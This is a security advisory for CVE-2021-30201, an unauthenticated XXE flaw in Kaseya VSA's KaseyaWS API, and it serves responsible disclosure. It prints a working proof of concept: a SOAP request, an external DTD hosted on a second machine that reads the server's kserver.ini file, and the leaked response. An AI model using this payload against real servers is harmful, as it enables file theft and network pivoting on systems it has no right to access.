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CVE-2021-30201 - Unauthenticated XML External Entity vulnerability in Kaseya VSA < v9.5.6

CVE CVE-2021-30201
Case DIVD-2021-00011
Discovered by
Credits
Products Kaseya:
  • Kaseya VSA
Versions Kaseya:
  • Kaseya VSA
    • 9.x (< 9.5.6)
CVSS Base score: 7.5
References
Solution Upgrade to version 9.5.6 or higher
Last modified 20 Jun 2022 07:35

Description

The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker.

Detailed description

Given the following request:

POST /vsaWS/KaseyaWS.asmx HTTP/1.1
Content-Type: text/xml;charset=UTF-8
Host: 192.168.1.194:18081
Content-Length: 406
 
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS">
   <soapenv:Header/>
   <soapenv:Body>
      <kas:PrimitiveResetPassword>
         <!--type: string-->
         <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]>
</kas:XmlRequest>
      </kas:PrimitiveResetPassword>
   </soapenv:Body>
</soapenv:Envelope>

And the following XML file hosted at http://192.168.1.170/oob.dtd:

<!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

The server will fetch this XML file and process it, it will read the file c:\kaseya\kserver\kserver.ini and returns the content in the server response like below. Response:

HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Date: Fri, 02 Apr 2021 10:07:38 GMT
Strict-Transport-Security: max-age=63072000; includeSubDomains
Connection: close
Content-Length: 2677
 
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---&gt; There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '########################################################################
# This is the configuration file for the KServer.
# Place it in the same directory as the KServer executable
# A blank line or new valid section header [] terminates each section.
# Comment lines start with ; or #
########################################################################
<snip>

Security issues discovered

  • The API insecurely resolves external XML entities
  • The API has an overly verbose error response

Impact

Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.


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